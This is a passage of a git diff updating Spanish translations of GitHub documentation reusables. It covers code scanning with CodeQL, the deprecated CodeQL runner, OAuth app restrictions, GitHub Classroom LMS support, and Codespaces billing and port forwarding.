obtener más información, consulta "[Aplicación de una directiva para el uso de {% data variables.product.prodname_GH_advanced_security %} en las organizaciones de la empresa](#enforcing-a-policy-for-the-use-of-github-advanced-security-in-your-enterprises-organizations)". diff --git a/translations/es-ES/data/reusables/apps/oauth-app-access-restrictions.md b/translations/es-ES/data/reusables/apps/oauth-app-access-restrictions.md new file mode 100644 index 0000000000..1d548d197e --- /dev/null +++ b/translations/es-ES/data/reusables/apps/oauth-app-access-restrictions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 720f6497375c61a1bdde1830545dfaf02d86dd53 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106449" +--- +Cuando hay habilitadas restricciones de acceso de {% data variables.product.prodname_oauth_app %}, los miembros de la organización y los colaboradores externos no pueden autorizar a ninguna {% data variables.product.prodname_oauth_app %} para que acceda a los recursos de la organización. Los miembros de la organización pueden solicitar la aprobación de los propietarios para las {% data variables.product.prodname_oauth_apps %} que quieran usar y los propietarios de la organización reciben una notificación de solicitudes pendientes. diff --git a/translations/es-ES/data/reusables/classroom/supported-lmses.md b/translations/es-ES/data/reusables/classroom/supported-lmses.md new file mode 100644 index 0000000000..67f3966b91 --- /dev/null +++ b/translations/es-ES/data/reusables/classroom/supported-lmses.md @@ -0,0 +1,29 @@ +--- +ms.openlocfilehash: 684a0bedb880d61bfdd2b2500115a87a7210c5f8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106969" +--- +{% data variables.product.prodname_classroom %} permite la conexión con LMS que implementan estándares de Learning Tools Interoperability (LTI). + +- LTI versión 1.3 +- LTI Advantage + +Utilizar LTI ayuda a mantener tu información segura y protegida. LTI es un protocolo estándar de la industria y GitHub Classroom lo utiliza con una certificación del Consorcio de Aprendizaje Global para el Sistema de Gestión Instruccional (IMS). Para más información, vea [Interoperabilidad de las herramientas de aprendizaje](https://www.imsglobal.org/activity/learning-tools-interoperability) y [Acerca de IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) en el sitio web de IMS Global Learning Consortium. + +{% data variables.product.company_short %} ha probado y confirmado el registro, la conexión y la importación de datos de registro de alumnos desde los siguientes LMS hacia {% data variables.product.prodname_classroom %}. + +- Lienzo +- Moodle +- Sakai +- Google Classroom + +{% note %} + +**Nota:** Existen otros LMS que implementan LTI 1.3 que pueden funcionar también con {% data variables.product.prodname_classroom %}, pero aún no se han comprobado. Es posible que los administradores de LMS necesiten configurar opciones personalizadas de privacidad y la colocación del botón, así como proporcionar documentación a los profesores sobre cómo entrar en {% data variables.product.prodname_classroom %} desde el LMS. + +{% endnote %} + +{% data reusables.classroom.google-classroom-note %} diff --git a/translations/es-ES/data/reusables/code-scanning/analyze-go.md b/translations/es-ES/data/reusables/code-scanning/analyze-go.md index a4aa25874c..6504f482f7 100644 --- a/translations/es-ES/data/reusables/code-scanning/analyze-go.md +++ b/translations/es-ES/data/reusables/code-scanning/analyze-go.md @@ -1,9 +1,9 @@ --- -ms.openlocfilehash: e9f2162fa5c65d4a59b2bd350aea2b131205f9a6 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 60f5abc1af5d94ad0c6e7565cf2edca9f009719a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "145113377" +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106961" --- -{% data variables.product.prodname_codeql %} también ejecuta una compilación para que los proyectos de Go configuren el proyecto. Sin embargo, a diferencia de los demás lenguajes compilados, se extraen todos los archivos de Go del repositorio, no solo los compilados. Puede usar comandos de compilación personalizados para omitir la extracción de archivos de Go que no se han tocado en la compilación. +En estos lenguajes, {% data variables.product.prodname_codeql %} analiza los archivos de origen del repositorio que se han compilado. En cualquiera de estos lenguajes, puedes deshabilitar `autobuild` y, en su lugar, usar comandos de compilación personalizados para analizar solo los archivos compilados con estos comandos personalizados. diff --git a/translations/es-ES/data/reusables/code-scanning/autobuild-compiled-languages.md b/translations/es-ES/data/reusables/code-scanning/autobuild-compiled-languages.md index b4d298e34d..cce6e5778b 100644 --- a/translations/es-ES/data/reusables/code-scanning/autobuild-compiled-languages.md +++ b/translations/es-ES/data/reusables/code-scanning/autobuild-compiled-languages.md @@ -1,9 +1 @@ ---- -ms.openlocfilehash: ac8f5fdb0d982d1c9427a99719e4f2bdf50ba56b -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: "148109952" ---- -Para los lenguajes compilados compatibles, puedes utilizar la acción `autobuild` en {% data variables.product.prodname_codeql_workflow %} para compilar tu código. Esto evita tener que especificar comandos de compilación explícitos para C/C++, C#,{% ifversion codeql-go-autobuild %} Go{% endif %} y Java. \ No newline at end of file +For the supported compiled languages, you can use the `autobuild` action in the {% data variables.code-scanning.codeql_workflow %} to build your code. This avoids you having to specify explicit build commands for C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java. \ No newline at end of file diff --git a/translations/es-ES/data/reusables/code-scanning/codeql-languages-bullets.md b/translations/es-ES/data/reusables/code-scanning/codeql-languages-bullets.md index e3179d26df..e12d817ad2 100644 --- a/translations/es-ES/data/reusables/code-scanning/codeql-languages-bullets.md +++ b/translations/es-ES/data/reusables/code-scanning/codeql-languages-bullets.md @@ -7,11 +7,13 @@ - Python{% ifversion fpt or ghes > 3.3 or ghec or ghae > 3.3 %} - Ruby +{% ifversion ghes < 3.8 or ghae < 3.8 %} {% note %} **Note**: {% data variables.product.prodname_codeql %} analysis for Ruby is currently in beta. During the beta, analysis of Ruby will be less comprehensive than {% data variables.product.prodname_codeql %} analysis of other languages. {% endnote %} +{% endif %} For more information, see the documentation on the {% data variables.product.prodname_codeql %} website: "[Supported languages and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)." {% endif %} diff --git a/translations/es-ES/data/reusables/code-scanning/codeql-runner-analyze-example.md b/translations/es-ES/data/reusables/code-scanning/codeql-runner-analyze-example.md index 733bf55138..1400f1f34b 100644 --- a/translations/es-ES/data/reusables/code-scanning/codeql-runner-analyze-example.md +++ b/translations/es-ES/data/reusables/code-scanning/codeql-runner-analyze-example.md @@ -1,12 +1,4 @@ ---- -ms.openlocfilehash: b20ef3a51f3bf2b4bfbb89ad078bf221ce838904 -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: "145115570" ---- -1. Rellene las bases de datos de {% data variables.product.prodname_codeql %}, analícelas y cargue los resultados a {% data variables.product.product_name %}. Los resultados aparecerán en la pestaña **Security** del repositorio. +1. Populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload the results to {% data variables.product.product_name %}. The results will appear in the **Security** tab for your repository. ```shell $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux analyze --repository octo-org/example-repo @@ -17,7 +9,7 @@ ms.locfileid: "145115570" > POST /repos/octo-org/example-repo/code-scanning/sarifs - 202 in 786ms > Successfully uploaded results ``` -2. Para cargar los resultados de {% data variables.product.prodname_code_scanning %} como comprobaciones de solicitudes de incorporación de cambios, especifique la solicitud de incorporación de cambios mediante la marca `--ref`. Se recomienda configurar {% data variables.product.prodname_codeql_runner %} para que se ejecute en el evento de webhook [`pull_request`](/developers/webhooks-and-events/webhook-events-and-payloads#pull_request). +2. To upload {% data variables.product.prodname_code_scanning %} results as pull request checks, specify the pull request using the `--ref` flag. We recommend setting up the {% data variables.code-scanning.codeql_runner %} so that it runs on the [`pull_request`](/developers/webhooks-and-events/webhook-events-and-payloads#pull_request) webhook event. ```shell $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux analyze --repository octo-org/example-repo @@ -29,4 +21,4 @@ ms.locfileid: "145115570" > Successfully uploaded results ``` -Para más información sobre cómo ver las alertas de {% data variables.product.prodname_code_scanning %}, vea "[Evaluación de prioridades de alertas de examen de código en solicitudes de incorporación de cambios](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)" y "[Administración de alertas de análisis de código para el repositorio](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository)". +For more information about viewing {% data variables.product.prodname_code_scanning %} alerts, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository)." diff --git a/translations/es-ES/data/reusables/code-scanning/deprecation-codeql-runner.md b/translations/es-ES/data/reusables/code-scanning/deprecation-codeql-runner.md index 16f1e36951..47a85ff30e 100644 --- a/translations/es-ES/data/reusables/code-scanning/deprecation-codeql-runner.md +++ b/translations/es-ES/data/reusables/code-scanning/deprecation-codeql-runner.md @@ -1,31 +1,23 @@ ---- -ms.openlocfilehash: c5fc9473755ce291aba79c71c850b18f4bcd1b00 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "145115569" ---- {% note %} {% ifversion fpt or ghec %} -**Nota:** {% data variables.product.prodname_codeql_runner %} está en desuso. En {% data variables.product.product_name %}, {% data variables.product.prodname_codeql_runner %} se admitió hasta marzo de 2022. Debe actualizar a la versión más reciente de [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). +**Note:** The {% data variables.code-scanning.codeql_runner %} is deprecated. On {% data variables.product.product_name %}, the {% data variables.code-scanning.codeql_runner %} was supported until March 2022. You should upgrade to the latest version of [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). {% elsif ghes > 3.3 %} -**Nota:** {% data variables.product.prodname_codeql_runner %} está en desuso y no se incluye en {% data variables.product.prodname_ghe_server %} 3.4. Debe realizar la migración a la versión 2.7.6 de [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). +**Note:** The {% data variables.code-scanning.codeql_runner %} has been deprecated and is not included in {% data variables.product.prodname_ghe_server %} 3.4. You should migrate to [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) version 2.7.6. {% elsif ghes < 3.4 %} -**Nota:** {% data variables.product.prodname_codeql_runner %} está en desuso. En {% data variables.product.prodname_ghe_server %} 3.0 y posterior, puede instalar la versión 2.6.3 de [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) para reemplazar {% data variables.product.prodname_codeql_runner %}. +**Note:** The {% data variables.code-scanning.codeql_runner %} is being deprecated. On {% data variables.product.prodname_ghe_server %} 3.0 and greater, you can install [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) version 2.6.3 to replace {% data variables.code-scanning.codeql_runner %}. {% elsif ghae %} -**Nota:** {% data variables.product.prodname_codeql_runner %} está en desuso. Debe realizar la migración a [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). +**Note:** The {% data variables.code-scanning.codeql_runner %} has been deprecated. You should migrate to [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). {% endif %} -Para más información, vea [Ejecutor de CodeQL en desuso](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). Para obtener información sobre la migración a {% data variables.product.prodname_codeql_cli %}, vea "[Migración del ejecutor de CodeQL a la CLI de CodeQL](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)". +For more information, see [the CodeQL runner deprecation](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). For information on migrating to {% data variables.product.prodname_codeql_cli %}, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)." {% endnote %} diff --git a/translations/es-ES/data/reusables/code-scanning/edit-workflow.md b/translations/es-ES/data/reusables/code-scanning/edit-workflow.md index a4dcbfb5ea..17057d68fc 100644 --- a/translations/es-ES/data/reusables/code-scanning/edit-workflow.md +++ b/translations/es-ES/data/reusables/code-scanning/edit-workflow.md @@ -1,9 +1 @@ ---- -ms.openlocfilehash: 42eb8f9784122f0576355c605691982b26fb9f19 -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: "145113297" ---- -Habitualmente, no necesitas editar el flujo de trabajo predeterminado para {% data variables.product.prodname_code_scanning %}. Sin embargo, si lo requieres, puedes editar el flujo de trabajo para personalizar algunos de los ajustes. Por ejemplo, puedes editar el {% data variables.product.prodname_codeql_workflow %} de {% data variables.product.prodname_dotcom %} para especificar la frecuencia de los escaneos, los idiomas o los directorios a escanear, y qué debe buscar el {% data variables.product.prodname_codeql %} del {% data variables.product.prodname_code_scanning %} en tu código. También podrías necesitar editar el {% data variables.product.prodname_codeql_workflow %} si utilizas un conjunto de comandos específicos para compilar tu código. +Typically, you don't need to edit the default workflow for {% data variables.product.prodname_code_scanning %}. However, if required, you can edit the workflow to customize some of the settings. For example, you can edit {% data variables.product.prodname_dotcom %}'s {% data variables.code-scanning.codeql_workflow %} to specify the frequency of scans, the languages or directories to scan, and what {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} looks for in your code. You might also need to edit the {% data variables.code-scanning.codeql_workflow %} if you use a specific set of commands to compile your code. diff --git a/translations/es-ES/data/reusables/code-scanning/enterprise-enable-dependency-graph.md b/translations/es-ES/data/reusables/code-scanning/enterprise-enable-dependency-graph.md new file mode 100644 index 0000000000..de8289246c --- /dev/null +++ b/translations/es-ES/data/reusables/code-scanning/enterprise-enable-dependency-graph.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 44ece30d2ecbee779e780390785b2bcaed2c619e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106953" +--- +{% ifversion security-feature-enablement-policies %} + +Es posible que no puedas habilitar o deshabilitar el gráfico de dependencias si un propietario de la empresa ha establecido una directiva en el nivel empresarial. Para obtener más información, consulta "[Aplicación de directivas de seguridad y análisis de código de la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-to-manage-the-use-of-github-advanced-security-features-in-your-enterprises-repositories)". + +{% endif %} diff --git a/translations/es-ES/data/reusables/codespaces/about-personalization.md b/translations/es-ES/data/reusables/codespaces/about-personalization.md deleted file mode 100644 index 2f2096d6bb..0000000000 --- a/translations/es-ES/data/reusables/codespaces/about-personalization.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -ms.openlocfilehash: 0b395fb36a04591ddd428b79073e5673a5d2037d -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "145115450" ---- -También puede usar un repositorio [dotfiles](https://dotfiles.github.io/tutorials/) y [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) para personalizar aspectos del entorno de codespace para cualquier codespace que cree. La personalización puede incluir preferencias de shell y herramientas adicionales. diff --git a/translations/es-ES/data/reusables/codespaces/apply-devcontainer-changes.md b/translations/es-ES/data/reusables/codespaces/apply-devcontainer-changes.md deleted file mode 100644 index b7d729b50a..0000000000 --- a/translations/es-ES/data/reusables/codespaces/apply-devcontainer-changes.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -ms.openlocfilehash: 339f4e78f942e487f7a7671f744c7efccc5d90cb -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "147111350" ---- -Después de que cambia la configuración de {% data variables.product.prodname_github_codespaces %} de un repositorio, puedes aplicar los cambios a un codespace existente si vuelves a compilar el contenedor para el codespace. diff --git a/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md b/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md deleted file mode 100644 index 3d0b4a27eb..0000000000 --- a/translations/es-ES/data/reusables/codespaces/codespaces-api-beta-note.md +++ /dev/null @@ -1,5 +0,0 @@ -{% note %} - -**Note**: The {% data variables.product.prodname_github_codespaces %} API is currently in public beta and subject to change. - -{% endnote %} diff --git a/translations/es-ES/data/reusables/codespaces/codespaces-disabling-org-billing.md b/translations/es-ES/data/reusables/codespaces/codespaces-disabling-org-billing.md index 9540917ca5..d5e6b42576 100644 --- a/translations/es-ES/data/reusables/codespaces/codespaces-disabling-org-billing.md +++ b/translations/es-ES/data/reusables/codespaces/codespaces-disabling-org-billing.md @@ -1,13 +1,5 @@ ---- -ms.openlocfilehash: 1cdc3ee40b5fc702a07eb41e05a5bc9248338846 -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: "147677244" ---- {% note %} -**Nota**: Si deshabilitas el uso de espacios de código facturables para tu organización, cualquier persona que pueda crear espacios de código como usuario individual y pueda clonar un repositorio en tu organización, podrá crear un espacio de código para ese repositorio. Pero esto no supondrá ningún cargo para tu organización. Para obtener información sobre cómo restringir el acceso a un repositorio, consulta "[Administración de equipos y personas con acceso al repositorio](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)". +**Note**: If you disable billing for {% data variables.product.prodname_github_codespaces %} for some organization members and collaborators, or for your entire organization, anyone who can either push changes to, or fork, a repository in your organization, will still be able to create a codespace for that repository by using their personal account. However, this will not incur any charge for your organization. For information about restricting access to a repository, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)." -{% endnote %} \ No newline at end of file +{% endnote %} diff --git a/translations/es-ES/data/reusables/codespaces/codespaces-org-policies-note.md b/translations/es-ES/data/reusables/codespaces/codespaces-org-policies-note.md index 4bbbeeb02f..d382f1139d 100644 --- a/translations/es-ES/data/reusables/codespaces/codespaces-org-policies-note.md +++ b/translations/es-ES/data/reusables/codespaces/codespaces-org-policies-note.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: 4b3ff1d54b2c84ce0cf5fcc4c4d58a6071dd0e91 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106929" +--- {% note %} -**Note**: Codespace policies only apply to codespaces for which your organization will be billed. If an individual user creates a codespace for a repository in your organization, and the organization is not billed, then the codespace will not be bound by these policies. For information on how to choose who can create codespaces that are billed to your organization, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." +**Nota**: Las directivas de codespace son válidas únicamente en los codespaces que se facturarán a tu organización. Si un usuario individual crea un codespace para un repositorio de tu organización y la organización no se factura, dicho codespace no estará enlazado por estas políticas. Para obtener información sobre cómo elegir quién puede crear codespaces que se facturan a tu organización, consulta "[Habilitar {% data variables.product.prodname_github_codespaces %} para tu organización](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)". {% endnote %} diff --git a/translations/es-ES/data/reusables/codespaces/codespaces-spending-limit-requirement.md b/translations/es-ES/data/reusables/codespaces/codespaces-spending-limit-requirement.md index 1322dfe4ae..9c886492a7 100644 --- a/translations/es-ES/data/reusables/codespaces/codespaces-spending-limit-requirement.md +++ b/translations/es-ES/data/reusables/codespaces/codespaces-spending-limit-requirement.md @@ -1,7 +1,7 @@ {% note %} -**Note:** You must set a non-zero spending limit before you can use {% data variables.product.prodname_github_codespaces %}. +**Note:** You must set a non-zero spending limit on your personal, organization, or enterprise account before the account can be billed for use of {% data variables.product.prodname_github_codespaces %}. {% endnote %} -By default, your organization or enterprise will have a {% data variables.product.prodname_github_codespaces %} spending limit of $0. This prevents new codespaces from being created, or existing codespaces from being opened, if this would incur a billable cost to your organization or enterprise. To allow your users to create codespaces in your organization, set the limit to a value higher than $0. +By default, all accounts have a {% data variables.product.prodname_github_codespaces %} spending limit of $0 USD. This prevents new codespaces being created, or existing codespaces being opened, if doing so would incur a billable cost to your personal, organization, or enterprise account. For personal accounts, codespaces can always be created and used if the account has not reached the limit of its monthly included usage. For organizations and enterprises, the default spending limit means that, to allow people to create codespaces that are billed to the organization, or its parent enterprise, the limit must be changed to a value above $0 USD. diff --git a/translations/es-ES/data/reusables/codespaces/connect-to-codespace-from-vscode.md b/translations/es-ES/data/reusables/codespaces/connect-to-codespace-from-vscode.md index e1594a79e4..cc89aa3a67 100644 --- a/translations/es-ES/data/reusables/codespaces/connect-to-codespace-from-vscode.md +++ b/translations/es-ES/data/reusables/codespaces/connect-to-codespace-from-vscode.md @@ -1,9 +1,9 @@ --- -ms.openlocfilehash: 1418134eef0d9e815418fb278f0631a7b54bec9e -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: e3e9f56d2691232ab835cdaaeacb252e80d9a6cb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: "145148740" +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159955" --- -Puedes conectarte a tu codespace directamente desde {% data variables.product.prodname_vscode_shortname %}. Para obtener más información, consulta "[Uso de Codespaces en {% data variables.product.prodname_vscode_shortname %}](/github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code)." +Puedes conectarte a tu codespace directamente desde {% data variables.product.prodname_vscode_shortname %}. Para obtener más información, consulta "[Uso de Codespaces en {% data variables.product.prodname_vscode_shortname %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)." diff --git a/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md index 1039481541..3dafc1ad37 100644 --- a/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md +++ b/translations/es-ES/data/reusables/codespaces/creating-a-codespace-in-vscode.md @@ -1,4 +1,4 @@ -After you connect your account on {% data variables.location.product_location %} to the {% data variables.product.prodname_github_codespaces %} extension, you can create a new codespace. For more information about the {% data variables.product.prodname_github_codespaces %} extension, see the [{% data variables.product.prodname_vs_marketplace_shortname %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). +After you connect your account on {% data variables.product.prodname_dotcom_the_website %} to the {% data variables.product.prodname_github_codespaces %} extension, you can create a new codespace. For more information about the {% data variables.product.prodname_github_codespaces %} extension, see the [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). {% data reusables.codespaces.click-remote-explorer-icon-vscode %} 2. Click the Add icon: {% octicon "plus" aria-label="The plus icon" %}. @@ -9,7 +9,7 @@ After you connect your account on {% data variables.location.product_location %} ![Searching for repository to create a new codespace](/assets/images/help/codespaces/choose-repository-vscode.png) - If codespaces are billable for the repository you choose, a message will be displayed in subsequent prompts telling you who will pay for the codespace. + If the repository you choose is owned by an organization, and the organization has configured codespaces for this repository to be billable to the organization, or its parent enterprise, a message will be displayed in subsequent prompts telling you who will pay for the codespace. 4. Click the branch you want to develop on. diff --git a/translations/es-ES/data/reusables/codespaces/ellipsis-settings.md b/translations/es-ES/data/reusables/codespaces/ellipsis-settings.md new file mode 100644 index 0000000000..850d8f6e2f --- /dev/null +++ b/translations/es-ES/data/reusables/codespaces/ellipsis-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 75753ebc255f17a624038305d5146e1eaeae0215 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159844" +--- +1. Haga clic en los puntos suspensivos ( **…** ) situados a la derecha del codespace que quiera modificar. \ No newline at end of file diff --git a/translations/es-ES/data/reusables/codespaces/more-info-devcontainer.md b/translations/es-ES/data/reusables/codespaces/more-info-devcontainer.md index 0710a63fe5..2454dec5ab 100644 --- a/translations/es-ES/data/reusables/codespaces/more-info-devcontainer.md +++ b/translations/es-ES/data/reusables/codespaces/more-info-devcontainer.md @@ -1 +1,9 @@ -For information about the settings and properties that you can set in a `devcontainer.json` file, see the [Specification](https://containers.dev/implementors/spec) on the Development Containers website. +--- +ms.openlocfilehash: c4d14deef7dc4c8811dec367203f5c4377227e05 +ms.sourcegitcommit: 5ee600fa0b52d1d1b138d8565740e2a0b5e4c4da +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148009672" +--- +Para obtener información sobre la configuración y las propiedades que puedes establecer en un archivo `devcontainer.json`, consulta la [especificación](https://containers.dev/implementors/spec) en el sitio web Development Containers. diff --git a/translations/es-ES/data/reusables/codespaces/open-codespace-from-template-repo.md b/translations/es-ES/data/reusables/codespaces/open-codespace-from-template-repo.md index bdd08eee3a..a5200c24c1 100644 --- a/translations/es-ES/data/reusables/codespaces/open-codespace-from-template-repo.md +++ b/translations/es-ES/data/reusables/codespaces/open-codespace-from-template-repo.md @@ -1,16 +1,14 @@ --- -ms.openlocfilehash: b73865feb01c314d363eeaf6b7dd1b80854d771e -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.openlocfilehash: 69354dddad1a9dcf540f273fde19ed6d880c1efb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: "147764215" +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159979" --- 1. Elige un propietario para el repositorio nuevo, escribe el nombre del repositorio, selecciona la configuración de privacidad que prefieras y haz clic en **Crear repositorio a partir de plantilla**. 1. En la página principal del repositorio recién creado, haga clic en el botón del Código **{% octicon "code" aria-label="The code icon" %} y** selecciona la pestaña **Codespaces**. ![Botón de codespace nuevo](/assets/images/help/codespaces/new-codespace-button.png) - Si no ves esta opción, entonces los {% data variables.product.prodname_github_codespaces %} no están disponibles para tu proyecto. Para obtener más información sobre el acceso a los datos {% data variables.product.prodname_github_codespaces %}, consulta "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-github-codespaces)". - 1. En la pestaña **Codespaces**, haz clic en **Crear codespace en main**. diff --git a/translations/es-ES/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md b/translations/es-ES/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md new file mode 100644 index 0000000000..94bfe63391 --- /dev/null +++ b/translations/es-ES/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 9523f75cde4298a6e1cd4335127a1dfb5bb342b5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160092" +--- +Cuando una aplicación que se ejecuta dentro de un codespace imprime la salida en el terminal que contiene una dirección URL de localhost, como `http://localhost:PORT` o `http://127.0.0.1:PORT`, el puerto se reenvía de forma automática. Si estás utilizando {% data variables.product.prodname_github_codespaces %} en el explorador o en {% data variables.product.prodname_vscode %}, la secuencia de URL en la terminal se convertirá en un vínculo en el que puedes hacer clic para ver la página web en tu máquina local. De manera predeterminada, {% data variables.product.prodname_github_codespaces %} reenvía los puertos mediante HTTP. + +![Reenvío automático de puertos](/assets/images/help/codespaces/automatic-port-forwarding.png) + +También puedes reenviar un puerto de forma manual, etiquetar los puertos reenviados, compartir los puertos reenviados con los miembros de tu organización, compartir los puertos reenviados de forma pública y agregar puertos reenviados a la configuración del codespace. + +{% note %} + +**Nota**: {% data reusables.codespaces.restrict-port-visibility %} + +{% endnote %} + +## Reenviar un puerto + +Puedes reenviar manualmente a un puerto que no se haya reenviado automáticamente. \ No newline at end of file diff --git a/translations/es-ES/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md b/translations/es-ES/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md new file mode 100644 index 0000000000..2df20a0d3b --- /dev/null +++ b/translations/es-ES/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 22cef14793f2fe8ffa5937d60056f05f1be0265a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159827" +--- +## Compartir un puerto + +{% note %} + +**Nota:** Solo puede hacer que un puerto sea privado para una organización si en la organización se usa {% data 